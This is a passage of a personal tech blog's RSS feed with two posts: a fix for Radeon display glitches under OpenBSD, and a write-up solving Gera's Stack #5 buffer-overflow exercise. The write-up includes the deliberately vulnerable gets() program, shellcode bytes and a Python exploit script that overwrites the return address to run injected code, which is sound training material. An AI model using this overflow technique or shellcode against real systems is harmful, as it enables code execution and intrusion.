		<description><![CDATA[So today I decided to install OpenBSD on one of my boxes. It&#8217;s been years since the last time I messed with this OS. I intended to use it as a local server and move there most of the services I have distributed on other (virtual and not) machines. Since I spend most of my&#8230;]]></description>
			<content:encoded><![CDATA[<p>So today I decided to install OpenBSD on one of my boxes. It&#8217;s been years since the last time I messed with this OS. I intended to use it as a local server and move there most of the services I have distributed on other (virtual and not) machines.</p>
<p>Since I spend most of my time in GNU/Linux terminals, I found OpenBSD terminal <em>pretty</em> annoying -specifically, the fact that some keys (HOME, END, PAGE UP etc)  for some fucking reason don&#8217;t work. I tried to find a workaround by changing terminal types, but the problem persisted. I read somewhere that in graphical terminals this problem does not occur, so I installed Xorg and XFCE, just in case I need to do some longer-than-usual administration tasks which require lots of typing. And indeed, in graphical environment everything worked smooth&#8230;</p>
<p>&#8230;Until after few minutes later, when I realized that there were some rendering problems. It was like the surface wasn&#8217;t redrawn properly. When I clicked on icons or opened windows, my desktop was <em>full</em> of glitches, which were annoying as hell. I have an old <em>ATI Radeon 7500</em> on that box, by the way.</p>
<p>I noticed that there was a shitload of options for radeon-based cards commented out in my <em>xorg.conf</em>, so I started reading the manual for ATI Radeon video driver which comes with OpenBSD, to find out what they were all about.<span id="more-277"></span></p>
<pre>$ man radeon</pre>
<p>After a while, I found something that sounded like the problem I had:</p>
<pre>Option "DisplayPriority" "string"
    Used  to prevent flickering or tearing problem caused by display
    buffer underflow.
    AUTO   -- Driver calculated (default).
    BIOS   -- Remain unchanged from BIOS setting.
              Use this if the calculation is not correct
              for your card.
    HIGH   -- Force to the highest priority.
              Use this if you have problem with above options.
              This may affect performance slightly.
    The default value is AUTO.</pre>
<p>I set <em>&#8220;DisplayPriority&#8221;</em> to <em>&#8220;BIOS&#8221;</em>, restarted X server, but it didn&#8217;t solve the problem. Then I set the option to <em>&#8220;HIGH&#8221;</em> and everything finally worked smooth.</p>
<p>To summarize: In case your graphical environment under OpenBSD looks fucked up and you happen to have a radeon-based GPU, try changing the <em>&#8220;DisplayPriority&#8221;</em> option, from <em>&#8220;AUTO&#8221;</em> (which is the default value) to <em>&#8220;BIOS&#8221;</em> or <em>&#8220;HIGH&#8221;</em> -whatever works for you. You&#8217;ll probably end up having something like that:</p>
<pre>Section "Device"
    <span style="color: #008000;"># Lots of commented out options</span>
    Identifier  "Card0"
    Driver      "radeon"
    VendorName  "ATI"
    BoardName   "Radeon 7500"
    BusID       "PCI:0:10:0"
    Option      "BusType" "PCI"
    <strong>Option      "DisplayPriority" "HIGH"</strong>
EndSection</pre>
<p>I didn&#8217;t find much about this problem after a really quick web search, so I wrote about it. I hope it was helpful.</p>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/technical-bunch-of-stuff/fixing-display-glitches-in-x11-and-openbsd-on-radeon-based-cards/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Gera&#8217;s Insecure Programming :: Stack #5</title>
		<link>http://gatoni.gr/technical-bunch-of-stuff/geras-insecure-programming-stack-5/</link>
		<comments>http://gatoni.gr/technical-bunch-of-stuff/geras-insecure-programming-stack-5/#comments</comments>
		<pubDate>Fri, 17 Dec 2010 03:15:57 +0000</pubDate>
		<dc:creator>gatoni</dc:creator>
				<category><![CDATA[Technical bunch of stuff]]></category>
		<category><![CDATA[gera's insecure programming]]></category>

		<guid isPermaLink="false">http://gatoni.gr/?p=252</guid>
		<description><![CDATA[The last snippet of code in Gera&#8217;s &#8220;Warming Up on Stack&#8221; series that we have to exploit is this: /* stack5.c * * specially crafted to feed your brain by gera */ int main() { int cookie; char buf[80]; printf("buf: %08x cookie: %08x\n", &#38;buf, &#38;cookie); gets(buf); if (cookie == 0x000a0d00) printf("you lose!\n"); } Our task&#8230;]]></description>
			<content:encoded><![CDATA[<p>The last snippet of code in Gera&#8217;s &#8220;Warming Up on Stack&#8221; series that we have to exploit is this:</p>
<pre>/* stack5.c                                     *
 * specially crafted to feed your brain by gera */

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &amp;buf, &amp;cookie);
	gets(buf);

	if (cookie == 0x000a0d00)
		printf("you lose!\n");
}
</pre>
<p>Our task is to make this piece of code print &#8220;you win!&#8221; to the standard output.</p>
<p><strong>Spoiler Alert: If you want to solve this exercise on your own, you should stop reading here.<span id="more-252"></span></strong></p>
<p>We&#8217;re dealing with an interesting exercise here! We can&#8217;t just change the execution flow, as we did in <a title="Gera's Insecure Programming :: Stack #4" href="http://gatoni.gr/technical-bunch-of-stuff/geras-insecure-programming-stack-4/" target="_blank">Stack #4</a> exercise, because the only thing we&#8217;ll achieve is to get &#8220;you lose!&#8221; printed to the standard output. What we have to do is to exploit the code and add some extra functionality to it, in order to solve the challenge.</p>
<p>Let&#8217;s summarize what we already know from Stack #4 challenge, since the code is almost identical. We know that we can&#8217;t assign 0x000a0d00 to the cookie integer, since the value 0x0a is a line termination token and will make gets() stop reading user data. Also, we know that we have at least 84 bytes to store anything we want. Finally, we can alter the execution flow of the program, by overwriting the return address of the main() and jumping wherever we want in the scope of program&#8217;s address space. With all these things in mind, we can inject our own code which prints the desired message and then execute it.</p>
<p>Let&#8217;s start by writing a little program in assembly which prints out &#8220;you win!&#8221;:</p>
<pre>.section .data
    msg:
        .ascii "you win!"
.section .text
.globl _start
    _start:
        movl $4, %eax      # sys_write system call
        movl $1, %ebx      # Output file descriptor (stdout)
        movl $msg, %ecx    # String to print
        movl $8, %edx      # Length of the string
        int $0x80          # Make system call
        movl $1, %eax      # sys_exit system call
        movl $0, %ebx      # return value (0)
        int $0x80          # Make system call
</pre>
<p>Awesome. We assemble it, link it and it works as expected. Now we must convert this program into a stream of bytes, so we can inject it though the standard input. Let&#8217;s use objdump for that:</p>
<pre>gatoni@ExploitBox $ objdump -d win_code

win_code:     file format elf32-i386

Disassembly of section .text:

08048074 &lt;_start&gt;:
 8048074:       b8 04 00 00 00          mov    $0x4,%eax
 8048079:       bb 01 00 00 00          mov    $0x1,%ebx
 804807e:       b9 98 90 04 08          mov    $0x8049098,%ecx
 8048083:       ba 08 00 00 00          mov    $0x8,%edx
 8048088:       cd 80                   int    $0x80
 804808a:       b8 01 00 00 00          mov    $0x1,%eax
 804808f:       bb 00 00 00 00          mov    $0x0,%ebx
 8048094:       cd 80                   int    $0x80
</pre>
<p>Before we make the shellcode out of this information, let&#8217;s take a look at this instruction:</p>
<pre>804807e:       b9 98 90 04 08          mov    $0x8049098,%ecx
</pre>
<p>As you can see, it loads an address out of it&#8217;s own memory space to the ECX register. Since we&#8217;ll inject this code into another application, it will work with the application&#8217;s memory space and not it&#8217;s own, so this won&#8217;t get us the result we want. What we must do is to also inject the string that we want to be printed, and load its address to that instruction. It&#8217;s pretty easy to find that address. Since we know the address of the buf array in which we&#8217;ll store our shellcode, and we know the length of our shellcode, we can inject the string right after our shellcode and its address will be the address of the buf plus the length of our shellcode.</p>
<p>Gera&#8217;s code informs us that the buf address is 0xbffffc8c and this will be the starting address of our injected code. Add 34 more bytes to that address, and you have 0xbffffcae. After this little modification, the instruction I mentioned above will look something like this:</p>
<pre>804807e:       b9 ae fc ff bf          mov    $0xbffffcae,%ecx
</pre>
<p>It&#8217;s time to assemble the shellcode:</p>
<pre>\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\xae\xfc\xff\xbf\xba\x08
\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80
</pre>
<p>The string that will follow the shellcode is a simple 8-byte long &#8220;you win!&#8221; literal.</p>
<p>From Stack #4 we also know that in order to reach main&#8217;s return address, we must write 96 bytes to the stack. We already have 42 bytes. What about the rest 54 bytes? It&#8217;ll be plain, old junk.</p>
<p>After we write the 96 bytes to the stack, we must write a 4-byte long return address which will make the program jump into executing our injected code. We already know the address -it&#8217;s the address of the buf array. So this is how will look the 100-byte input to Gera&#8217;s code.</p>
<pre>[Shellcode - 34 bytes][String - 8 bytes][Junk - 54 bytes][Return address - 4 bytes]
</pre>
<p>Let&#8217;s put all these things in a little Python script:</p>
<pre>#!/usr/bin/python
shell_code = "\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\xae\xfc\xff\xbf\xba\x08\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80"
win_string = "you win!"
some_junk = 54 * "\x90"
ret_addr = "\x8c\xfc\xff\xbf"
print shell_code + win_string + some_junk + ret_addr
</pre>
<p>Pipe it into Gera&#8217;s code and let the dopamine flow free</p>
<pre>gatoni@ExploitBox $ ./exploit.py | ./stack5
buf: bffffc8c cookie: bffffcdc
you win!
</pre>
<p>Keep in mind that there&#8217;s no newline character after &#8220;you win!&#8221;. Also keep in mind that you can&#8217;t pass a string literal which is 10 characters long. To be exact, you can but when you&#8217;re specifying the length of the string in EDX register, it can&#8217;t be 10. Why? Remember ASCII 10 or 0x0A is the line termination token and if puts() detects it anywhere in its input, it&#8217;ll stop reading data which will result in exploitation failure.</p>
<p>That was an awesome challenge! It&#8217;s my favorite in the &#8220;Warming Up on Stack&#8221; series. I hope you enjoyed it as much as I did. I guess it&#8217;s time to move to other, more advanced Gera&#8217;s challenges.</p>
]]></content:encoded>
			<wfw:commentRss>http://gatoni.gr/technical-bunch-of-stuff/geras-insecure-programming-stack-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

